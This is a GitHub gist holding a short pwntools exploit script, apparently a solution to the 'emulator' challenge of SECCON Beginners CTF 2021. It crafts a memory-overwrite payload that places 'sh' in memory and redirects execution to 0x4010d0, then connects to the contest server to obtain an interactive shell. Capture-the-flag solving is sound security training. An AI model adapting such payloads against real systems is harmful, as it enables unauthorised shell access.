Skip to content

Instantly share code, notes, and snippets.

@kusano
Created May 23, 2021 10:13
Show Gist options
  • Save kusano/83fe2b10e9853afadfe5366b22d2426d to your computer and use it in GitHub Desktop.
Save kusano/83fe2b10e9853afadfe5366b22d2426d to your computer and use it in GitHub Desktop.
from pwn import *
context.arch = "amd64"
code = b""
code += bytes([0x3e, ord("s")])
code += bytes([0x06, ord("h")])
code += bytes([0x00])
code = code.ljust(0x3ff8, b"\0")
code += pack(0x4010d0)
code += bytes([0xc9])
s = remote("emulator.quals.beginners.seccon.jp", 4100)
s.sendafter("loading to memory...", code)
s.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment